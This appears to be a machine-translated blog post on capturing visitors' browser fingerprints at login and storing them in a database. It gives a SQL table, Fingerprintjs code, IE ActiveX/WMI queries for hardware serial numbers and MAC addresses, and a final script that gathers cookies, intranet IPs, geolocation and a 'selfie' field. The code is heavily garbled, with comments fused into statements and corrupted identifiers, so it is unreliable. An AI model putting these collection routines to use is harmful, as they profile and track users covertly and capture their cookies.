preface

We all know that when we make a Web request, we can obtain the access information of the current machine by using the browser. At present, there are many tools or APIS on the market that can easily and quickly obtain the dynamic information of the user’s browser. The whole process is relatively simple, here as a simple note.

demand

Use front-end tools or plug-ins to obtain front-end browser information, and send the front-end information to the background database for storage during login.

Component address:

The main component to rely on here is Fingerprintjs, which is fairly detailed and easy to use.

• Fingerprintjs:github.com/fingerprint…

The demo address: TCZMH. Gitee. IO/fingerprint…

Table design

The following table is constructed according to specific requirements:

SQL > create table SQL > create table SQL

-- ----------------------------
-- Table structure for browser_frontend_info
-- ----------------------------
IF EXISTS (SELECT * FROM sys.all_objects WHERE object_id = OBJECT_ID(N'[dbo].[browser_frontend_info]') AND type IN ('U'))
	DROP TABLE [dbo].[browser_frontend_info]
GO

CREATE TABLE [dbo].[browser_frontend_info] (
  [uuid] varchar(255) COLLATE Chinese_PRC_CI_AS  NOT NULL,
  [fingerprint] varchar(100) COLLATE Chinese_PRC_CI_AS  NULL,
  [clientTime] int  NULL,
  [userAgent] text COLLATE Chinese_PRC_CI_AS  NULL,
  [webdriver] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL[language] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [colorDepth] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [deviceMemory] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [pixelRatio] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [hardwareConcurrency] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [screenResolution] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [availableScreenResolution] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [timezoneOffset] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [timezone] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [sessionStorage] int  NULL,
  [localStorage] int  NULL,
  [indexedDb] int  NULL,
  [addBehavior] int  NULL,
  [openDatabase] int  NULL,
  [cpuClass] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [platform] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [doNotTrack] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [plugins] text COLLATE Chinese_PRC_CI_AS  NULL,
  [canvas] text COLLATE Chinese_PRC_CI_AS  NULL,
  [webgl] text COLLATE Chinese_PRC_CI_AS  NULL,
  [webglVendorAndRenderer] text COLLATE Chinese_PRC_CI_AS  NULL,
  [adBlock] int  NULL,
  [hasLiedLanguages] int  NULL,
  [hasLiedResolution] int  NULL,
  [hasLiedOs] int  NULL,
  [hasLiedBrowser] int  NULL,
  [touchSupport] int  NULL,
  [fonts] text COLLATE Chinese_PRC_CI_AS  NULL,
  [fontsFlash] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
   varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [enumerateDevices] text COLLATE Chinese_PRC_CI_AS  NULL,
  [mineType] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [cookieEnable] int  NULL,
  [macAddr] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [ipAddr] varchar(50) COLLATE Chinese_PRC_CI_AS  NULL,
  [systemTime] varchar(200) COLLATE Chinese_PRC_CI_AS  NULL,
  [enableMediaPalyer] int DEFAULT ' ' NULL,
  [enableRealPlayer] int  NULL,
  [loginType] int  NULL,
  [merchNo] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL,
  [userName] varchar(255) COLLATE Chinese_PRC_CI_AS  NULL
)
GO

ALTER TABLE [dbo].[browser_frontend_info] SET (LOCK_ESCALATION = TABLE)
GO

EXEC sp_addextendedproperty
'MS_Description', N'primary key'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'uuid'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Fingerprint ID. The fingerprint is the unique ID for each request..'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'fingerprint'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Request Time'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'clientTime'
GO

EXEC sp_addextendedproperty
'MS_Description', N'User agent'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'userAgent'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Network driven'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'webdriver'
GO

EXEC sp_addextendedproperty
'MS_Description', N'language'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'language'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Color depth'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'colorDepth'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Device memory'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'deviceMemory'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Pixel ratio'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'pixelRatio'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Hardware concurrency'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'hardwareConcurrency'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Screen resolution'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'screenResolution'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Available screen resolution'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'availableScreenResolution'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Time zone offset'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'timezoneOffset'
GO

EXEC sp_addextendedproperty
'MS_Description', N'time'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'timezone'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Enable session storage'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'sessionStorage'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Enable local storage'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'localStorage'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Index Db'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'indexedDb'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Is there an increase?'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'addBehavior'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Forged browser or not'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'openDatabase'
GO

EXEC sp_addextendedproperty
'MS_Description', N'CPU class'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'cpuClass'
GO

EXEC sp_addextendedproperty
'MS_Description', N'platform'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'platform'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Do not track'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'doNotTrack'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Browser plug-in'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'plugins'
GO

EXEC sp_addextendedproperty
'MS_Description', N'canvas'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'canvas'
GO

EXEC sp_addextendedproperty
'MS_Description', N'pages'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'webgl'
GO

EXEC sp_addextendedproperty
'MS_Description', N'WebGL Vendors and Renderers'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'webglVendorAndRenderer'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Decibel lock'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'adBlock'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Forged language or not'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'hasLiedLanguages'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Did you forge a resolution?'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'hasLiedResolution'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Is OS forged?'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'hasLiedOs'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Forged browser or not'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'hasLiedBrowser'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Touch Support'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'touchSupport'
GO

EXEC sp_addextendedproperty
'MS_Description', N'font'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'fonts'
GO

EXEC sp_addextendedproperty
'MS_Description', N'font Flash'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'fontsFlash'
GO

EXEC sp_addextendedproperty
'MS_Description', N'the media'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'audio'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Enumeration device'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'enumerateDevices'
GO

EXEC sp_addextendedproperty
'MS_Description', N'MIME type of browser'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'mineType'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Is cookie enabled in browser?'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'cookieEnable'
GO

EXEC sp_addextendedproperty
'MS_Description', N'the MAC address'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'macAddr'
GO

EXEC sp_addextendedproperty
'MS_Description', N'IP address'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'ipAddr'
GO

EXEC sp_addextendedproperty
'MS_Description', N'System time'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'systemTime'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Is there a MediaPlayer?'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'enableMediaPalyer'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Do you have a realPlayer?'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'enableRealPlayer'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Type of Login (1. merchant, 2. institution)'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'loginType'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Merchant Number'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'merchNo'
GO

EXEC sp_addextendedproperty
'MS_Description', N'Username'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'userName'
GO


-- ----------------------------
-- Primary Key structure for table browser_frontend_info
-- ----------------------------
ALTER TABLE [dbo].[browser_frontend_info] ADD CONSTRAINT [PK__browser___7F427930F38BE804] PRIMARY KEY CLUSTERED ([uuid])
WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON)  
ON [PRIMARY]
GO

Copy the code

Access case code:

If it needs to run normally, it needs to introduce the corresponding tripartite code or IP to obtain the JS of the website. Here, SOhu’S IP information capture is used:

<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>
<script type="text/javascript" th:src="@{/js/front/fingerprint2.min.js}"></script>
Copy the code

Here is a simple access for API use, assembling message JSON:

function fingerDefaultConfig(){
    let excludes = {};
    excludes.userAgent = false;
    excludes.audio = false;
    excludes.enumerateDevices = false;
    excludes.fonts = false;
    excludes.fontsFlash = false;
    excludes.webgl = false;
    excludes.canvas = false;
    return excludes;
}

/** * Get browser info */
function getFingerInfo(){
    const start = new Date().getTime();
    let excludes = fingerDefaultConfig();
    let options = {excludes: excludes};
    var requestParam = {};
    Fingerprint2.get(options, function (components) {
        / / parameters
        const values = components.map(function (component) {
            return component.value
        });
        / / the fingerprint
        requestParam['murmur'] = Fingerprint2.x64hash128(values.join(' '), 31);
        // Request time
        requestParam['time'] = (new Date().getTime() - start);
        for (const c of components) {
            requestParam[c['key']] = c['value'];
        }
        // Get the parameters of other modules
        requestParam = otherRequestParam(requestParam);
        requestParam = intenetInfo(requestParam);
        requestParam = timeRequestParam(requestParam);
        requestParam = userRequestParam(requestParam);
        wrapParamAndStart(requestParam);
    });

}

function timeRequestParam(requestParam){
    requestParam['systemTime'] = new Date(a);return requestParam;
}

/** * User information */
function userRequestParam(requestParam){
    var loginType = $("#loginType").find('option:selected').val();
    requestParam['loginType'] = loginType! =null&& loginType! =undefined ? parseInt(loginType):1;
    requestParam['merchNo'] = $("#InputMerNo").val()||' ';
    requestParam['userName'] = $("#InputUsername").val()||' ';
    return requestParam;

}

function otherRequestParam(requestParam){
    var mimeType = navigator.mimeTypes; // Arrays of all MIME types supported by the browser
    var cookieEnabled = navigator.cookieEnabled; // Returns whether cookies are enabled in the user's browser
    requestParam['mimeType'] = mimeType;
    requestParam['cookieEnabled'] = cookieEnabled;
    requestParam['enableMediaPalyer'] = checkePlugs("MediaPlayer");
    requestParam['enableRealPlayer'] = checkePlugs("RealPlayer");
    requestParam['enableQuickTime'] = checkePlugs("QuickTime");
    return requestParam;
}

/** * Network information access *@param requestParam* /
function intenetInfo(requestParam){
    requestParam['macAddr'] = returnCitySN["cname"];
    requestParam['ipAddr'] = returnCitySN["cip"];
    return requestParam;
}

// Check if a plug-in is installed and return the version number if so
function checkePlugs(pluginname) {
    var f = "-"
    var plugins = navigator.plugins;
    if (plugins.length > 0) {
        for (i = 0; i < navigator.plugins.length; i++) {
            if (navigator.plugins[i].name.indexOf(pluginname) >= 0) {
                f = navigator.plugins[i].description.split(pluginname)[1];
                return f;
                break; }}}return false;
}

function wrapParamAndStart(requestParam) {
    start(JSON.stringify(requestParam));
}

/** * Front-end grab enabled, depending on the module used to rewrite or replace */
function start(info) {
    $.ajax({
        url : ROOT+"/front/record".type : 'POST'.// async: false,
        dataType : 'json'.data : info,
        contentType:'application/json'.success : function(data) {},error : function(e) {}}); }Copy the code

Operation effect:

Supplementary information:

Obtain front-end user access information

Users need to manually enable the permission to use or access the object. In addition, this object is mainly used by Internet Explorer.

Implementation method:

​ var locator = new ActiveXObject("WbemScripting.SWbemLocator");

See blog: JavaScript to get information about the client computer hardware and system

Obtaining Camera Information

The camera can be used only after the user has enabled the permission.

• Webcamjs:pixlcore.com/demos/webca…

• Take photos in the middle of a web page

WebcamJS has been tested in the following browsers/systems:

The recording

Recording, like camera information, requires user authorization.

• Github.com/xiangyuecn/…

Front-end information capture HTML:

<! DOCTYPEhtml PUBLIC "- / / / / W3C DTD XHTML 1.0 Transitional / / EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">

    <head>
        <title> New Document </title>
        <meta name="viewport" content="Width = device - width, initial - scale = 1.0, user - scalable = no">
        <meta name="Generator" content="EditPlus">
        <meta name="Author" content="">
        <meta name="Keywords" content="">
        <meta charset="utf-8" />
        <meta name="Description" content="">
		<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>



        <script id=clientEventHandlersJS language=javascript>/ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * for the browser information under the * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / / / browser related information function  allinfo() { var appName = navigator.appName; Var appVersion = navigator.appVersion; Var cookieEnabled = navigator.cookieEnabled; Var cpuClass = navigator.cpuclass; // Returns the CPU type of the user's computer, usually Intel chips return "x86" (Firefox does not) var mimeType = navigator. MimeTypes; Var platform = navigator.platform; // The operating system platform on which the browser is running, This includes Win16(Windows3.x) // Win32(Windows98,Me,NT,2000, XP),Mac68K(Macintosh 680x0) // and MacPPC(Macintosh PowerPC) var plugins = navigator.plugins; Var userLanguage = navigator.userLanguage; Var userAgent = navigator. UserAgent; var userAgent = navigator. / / all or part of the string contains the following properties: appCodeName, appName, appVersion, language and platform var systemLanguage = the navigator. SystemLanguage; // The user OS supports the default language (Firefox does not) var info ="<table border=1>"; var type = ""; If (isIe()) {type = "IE "; } else if (isFireFox()) {type = "firefox "; } info += "<tr><td>Browser type:</td><td>" + type + "</td></tr>";

                info += "<tr><td>Browser properties:</td><td>" + userAgent + "</td></tr>";
                info += "<tr><td>Official name of browser:</td><td>" + appName + "</td></tr>";
                info += "<tr><td>Browser version:</td><td>" + appVersion + "</td></tr>";
                info += "<tr><td>Whether cookies are enabled in the browser:</td><td>" + cookieEnabled + "</td></tr>";
                info += "<tr><td>The CPU level:</td><td>" + cpuClass + "</td></tr>";
                info += "<tr><td>The MIME type of the browser:</td><td>" + mimeType.length + "</td></tr>";
                info += "<tr><td>System platform:</td><td>" + platform + "</td></tr>";
                info += "<tr><td>Installed plug-ins:</td><td>" + plugins + "</td></tr>";
                info += "<tr><td>Number of plug-ins:</td><td>" + plugins.length + "</td></tr>";
                info += "<tr><td>Name of the plug-in:</td><td>" + getPluginName() + "</td></tr>";
                info += "<tr><td>Operating system language set by user:</td><td>" + userLanguage + "</td></tr>";
                info += "<tr><td>Default languages supported by the operating system:</td><td>" + systemLanguage + "</td></tr>";
                info += "<tr><td>Director:</td><td>" + checkePlugs("Director") + "</td></tr>";
                info += "<tr><td>JavaEnabled:</td><td>" + navigator.javaEnabled() + "</td></tr>";
                info += "<tr><td>Whether there is quickTime:</td><td>" + checkePlugs("QuickTime") + "</td></tr>";
                info += "<tr><td>Flash plugins:</td><td>" + checkePlugs('Shockwave Flash') + "</td></tr>";
                info += "<tr><td>Whether MediaPlayer is available:</td><td>" + checkePlugs("MediaPlayer") + "</td></tr>";
                info += "<tr><td>Is there a realPlayer:</td><td>" + checkePlugs("RealPlayer") + "</td></tr>";
                info += "<tr><td>Screen resolution height:</td><td>" + window.screen.height + "</td></tr>";
                info += "<tr><td>Screen resolution width:</td><td>" + window.screen.width + "</td></tr>";
                info += "<tr><td>Color quality:</td><td>"+ window.screen.colorDepth +" bit</td></tr>";
                info += "<tr><td>Pixel:</td><td>"+ window.screen.deviceXDPI +" pixels per inch</td></tr>";
                info += "<tr><td>Whether the font is smooth:</td><td>" + window.screen.fontSmoothingEnabled + "</td></tr>";
                //info += "<tr><td>Specifies whether data spoiling is enabled for the browser:</td><td>" + navigator.taintEnabled() + "</td></tr>";
                info += "</table>"; document.getElementById("elInfo").innerHTML = info; return info; //director var appCodeName = navigator.appCodeName; / / internal code name associated with the browser var appMinorVersion = the navigator. AppMinorVersion; Var language = navigator.language; var language = navigator.language; Var onLine = navigator.online; Var opsProfile = navigator.opsprofile; var opsProfile = navigator.opsprofile; // undefined (IE, Firefox do not have) var oscpu = navigator. Var product = navigator.product; var product = navigator.product; Var productSub = navigator.productsub; var productSub = navigator. Var securityPolicy = navigator.securityPolicy; Var userProfile = navigator.userprofile; // Return a UserProfile object that stores the user's personal information (Firefox does not have it) var vender = navigator.vender; Var vendorSub = navigator. VendorSub; var vendorSub = navigator. Function getPluginName() {var info = ""; var plugins = navigator.plugins; if (plugins.length > 0) { for (i = 0; i < navigator.plugins.length; i++) { info += navigator.plugins[i].name + ";" ; } } return info; } function checkePlugs(pluginname) {var f = "-" var plugins = navigator.plugins; if (plugins.length > 0) { for (i = 0; i < navigator.plugins.length; i++) { if (navigator.plugins[i].name.indexOf(pluginname) >= 0) { f = navigator.plugins[i].description.split(pluginname)[1]; return f; break; } } } return false; } / / determine whether the function IE isIe () {var I = the navigator. UserAgent. ToLowerCase (). The indexOf (" msie "); return i >= 0; } / / determine whether firefox function isFireFox () {var I = the navigator. UserAgent. ToLowerCase (). The indexOf (" firefox "); return i >= 0; } / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * for the browser information above, The following information for PCS * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * / var locator = new ActiveXObject (" WbemScripting. SWbemLocator "); var service = locator.ConnectServer("."); ExecQuery("SELECT * FROM Win32_Processor"); function cpuInfo() {var properties = service.ExecQuery("SELECT * FROM Win32_Processor"); var e = new Enumerator(properties); var info = "<table border=1>";
                info += "<tr  bgcolor='#CDEDED' style='font-weight: bold; ' ><td width='450' >CPU information</td></tr>"; for (; ! e.atEnd(); e.moveNext()) { var p = e.item(); info += "<tr style='color: red'><td >CPU serial number :" + P.rocessorid +"</td></tr>";
                    info += "<tr><td >" + p.Caption + "</td></tr>";
                    info += "<tr><td >CPU number: "+ P.deviceid +"</td></tr>";
                    info += "<tr><td >CPU model: "+ P.name +"</td></tr>";
                    info += "<tr><td >CPU status: "+ p.puStatus +"</td></tr>";
                    info += "<tr><td >CPU availability: "+ p.availability +"</td></tr>";
                    info += "<tr><td >CUP Level: "+ P.level +"</td></tr>";
                    info += "<tr><td >Host name: "+ p.stemname +"</td></tr>";
                    info += "<tr><td >ProcessorType: "+ p.rocessorType +"</td></tr>";
                }
                info += "</table>"; return info; ExecQuery("SELECT * FROM Win32_FloppyDrive");} function softDisk() {var properties = service.ExecQuery("SELECT * FROM Win32_FloppyDrive"); var e = new Enumerator(properties); var info = "<table border=1>";
                info += "<tr  bgcolor='#CDEDED' style='font-weight: bold; ' ><td width='450'>The floppy disk information</td></tr>"; for (; ! e.atEnd(); e.moveNext()) { var p = e.item(); info += "<tr><td >" + p.Description + "</td></tr>";
                    info += "<tr><td >" + p.DeviceID + "</td></tr>";
                    info += "<tr><td >" + p.Status + "</td></tr>";
                    info += "<tr><td >" + p.Manufacuturer + "</td></tr>";
                }
                info += "</table>"; return info; ExecQuery("SELECT * FROM Win32_CDROMDrive");} function RomInfo() {var properties = service.ExecQuery("SELECT * FROM Win32_CDROMDrive"); var e = new Enumerator(properties); var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold; '><td width='450' >Cd-rom information</td></tr>"; for (; ! e.atEnd(); e.moveNext()) { var p = e.item(); info += "<tr><td >Drive name: "+ P.connection +"</td></tr>";
                    info += "<tr><td >Description: "+ P.description +"</td></tr>";
                    info += "<tr><td >Drive letter: "+ P.drive +"</td></tr>";
                    info += "<tr><td >Drive status: "+ P.status +"</td></tr>";
                    info += "<tr><td >Is: "+ p.MediaLoaded +"</td></tr>";
                }
                info += "</table>"; return info; ExecQuery("SELECT * FROM Win32_Keyboard"); var e = new Enumerator(properties); var info = "<table border=1>";
                info += "<tr  bgcolor='#CDEDED' style='font-weight: bold; '><td width='450'>Keyboard information</td></tr>"; for (; ! e.atEnd(); e.moveNext()) { var p = e.item(); info += "<tr><td >Keyboard description: "+ P.description +"</td></tr>";
                    info += "<tr><td >Keyboard name: "+ p.name +"</td></tr>";
                    info += "<tr><td >Keyboard status: "+ P.status +"</td></tr>";
                }
                info += "</table>"; return info; } function mainBoard() {// mainBoard information var properties = service.ExecQuery("SELECT * FROM Win32_BaseBoard"); var e = new Enumerator(properties); var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold; '><td width='450'>The main information</td></tr>"; for (; ! e.atEnd(); e.moveNext()) { var p = e.item(); info += "<tr style='color: red'><td >Motherboard ID: "+ P.severalNumber +"</td></tr>";
                    info += "<tr><td >" + p.HostingBoard + "</td></tr>";
                    info += "<tr><td >Woman: "+ p.M anufacTureWomen +"</td></tr>";
                    info += "<tr><td >Enable: "+ p.poeredon +"</td></tr>";
                    info += "<tr><td >Model: "+ P.product +"</td></tr>";
                    info += "<tr><td >Version: "+ P.sion +"</td></tr>";
                }
                info += "</table>"; return info; ExecQuery("SELECT * FROM Win32_DiskDrive"); var properties = service.ExecQuery("SELECT * FROM Win32_DiskDrive"); var e = new Enumerator(properties); var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold; ' ><td width='450'>Hard disk information</td></tr>"; for (; ! e.atEnd(); e.moveNext()) { var p = e.item(); info += "<tr style='color: red'><td >Hard disk SERIAL number: "+ P.signature +"</td></tr>";
                }
                info += "</table>"; return info; Function raminfo() {var system = new Enumerator(service.ExecQuery("SELECT * FROM Win32_ComputerSystem")).item(); var physicMenCap = Math.ceil(system.TotalPhysicalMemory / 1024 / 1024); Var memory = new Enumerator(service.ExecQuery("SELECT * FROM Win32_PhysicalMemory")); for (var mem = [], i = 0; ! memory.atEnd(); memory.moveNext()) { mem[i++] = { cap: memory.item().Capacity / 1024 / 1024, speed: memory.item().Speed }; } var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold; ' ><td width='450'>Memory information</td></tr>";
                info += "<tr style='color: red'><td >"+ (mem[0].cap + mem[1].cap) + "M</td></tr>";
                info += "<tr style='color: red'><td >Available physical memory: "+ physicMenCap + "M</td></tr>";
                info += "</table>"; return info; } / / network connection information function ipinfo () {var properties = service. ExecQuery (" SELECT * FROM Win32_NetworkAdapterConfiguration Where IPEnabled=TRUE"); var e = new Enumerator(properties); var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold; ' ><td width='450'>Network Connection information:</td></tr>"; var i = 1; for (; ! e.atEnd(); e.moveNext()) { var p = e.item(); info += "<tr style='color: red'><td >MAC address "+ I +" : "+ p.MACAddress +"</td></tr>";
                    info += "<tr style='color: red'><td >IP address "+ I +" : "+ p.ip (0) +"</td></tr>";
                    i++;
                }
                info += "</table>"; return info; Function ipinfo2() {var info ="<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold; ' ><td width='450'>Network Connection information:</td></tr>";
                 
                    info += "<tr style='color: red'><td >MAC address "+" : "+ returnCitySN["cname"] +</td></tr>";
                    info += "<tr style='color: red'><td >IP address "+" : "+ returnCitySN["cip"] +"</td></tr>";
                   
               
                info += "</table>"; return info; Function getDate() {var dt = new Date(); var info = "<table border=1>";
                info += "<tr bgcolor='#CDEDED' style='font-weight: bold; ' ><td width='450'>Time:</td></tr>";
                 
                    info += "<tr style='color: red'><td >System time "+" : "dt +"</td></tr>";
                   
                   
               
                info += "</table>"; return info; } function pcInfo() {var info = ipinfo2(); try { info += getDate(); info += cpuinfo(); info += disk(); info += raminfo(); info += mainBoard(); info += ipinfo(); info += keyBoardInfo(); info += RomInfo(); info += softDisk(); } catch(err){console.log(err) // Executable} document.getelementById ('elInfo').innerhtml = info; return info; } / * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * the above information for PCS * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * /</script>
		
		<script>
		
		
			
			
			
			
			
			
			
			
			
var info={
    ip:null.inner_ip:null.intranet: [].agent:null.geo: {support:null.error_code:null.lat:null.lon:null.address:null,},cookie:null.time:null.canvas_id:null.selfie:null.platform:null.device:null.window_screen:null.blob:null.download_speed:null}; info.cookie=document.cookie;
info.time=(new Date()).toString();
info.agent=navigator.userAgent;

function ajax(url,foo){
    var xmlhttp=new XMLHttpRequest();
    xmlhttp.onreadystatechange=function(){
        if (xmlhttp.readyState==4 && xmlhttp.status==200) {
            foo(xmlhttp.responseText);
        };
    };
    xmlhttp.open('GET',url,true);
    xmlhttp.send();
}

function bin2hex(bin){
    var i=0, l=bin.length,chr,hex=' ';
    for (i; i < l; ++i){
        chr=bin.charCodeAt(i).toString(16);
        hex+=chr.length<2 ? '0'+chr : chr;
    }
    return hex;
}

function detectOS(){
    var sUserAgent=navigator.userAgent;
    var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows");

    var isMac = (navigator.platform == "Mac68K") || (navigator.platform == "MacPPC") || (navigator.platform == "Macintosh") || (navigator.platform == "MacIntel");
    if (isMac) return "Mac";

    var bIsIpad = sUserAgent.match(/ipad/i) = ="ipad";
    if (bIsIpad) return "iPad";
    
    var isUnix = (navigator.platform == "X11") &&! isWin && ! isMac;if (isUnix) return "Unix";
    
    var isLinux = (String(navigator.platform).indexOf("Linux") > -1);
    var bIsAndroid = sUserAgent.toLowerCase().match(/android/i) = ="android";
    if (isLinux) {
        if(bIsAndroid) return "Android";
        else return "Linux";
    }

    var bIsCE = sUserAgent.match(/windows ce/i) = ="windows ce";
    if (bIsCE) return "WinCE";

    var bIsWM = sUserAgent.match(/windows mobile/i) = ="windows mobile";
    if (bIsWM) return "WinMobile";

    if (isWin) {
        var isWin2K = sUserAgent.indexOf("Windows NT 5.0." ") > -1 || sUserAgent.indexOf("Windows 2000") > -1; 
        if (isWin2K) return "Win2000";

        var isWinXP = sUserAgent.indexOf("Windows NT 5.1." ") > -1 || sUserAgent.indexOf("Windows XP") > -1; 
        if (isWinXP) return "WinXP";

        var isWin2003 = sUserAgent.indexOf("Windows NT 5.2." ") > -1 || sUserAgent.indexOf("Windows 2003") > -1; 
        if (isWin2003) return "Win2003";

        var isWinVista= sUserAgent.indexOf("Windows NT 6.0." ") > -1 || sUserAgent.indexOf("Windows Vista") > -1; 
        if (isWinVista) return "WinVista";

        var isWin7 = sUserAgent.indexOf("Windows NT 6.1." ") > -1 || sUserAgent.indexOf("Windows 7") > -1; 
        if (isWin7) return "Win7";

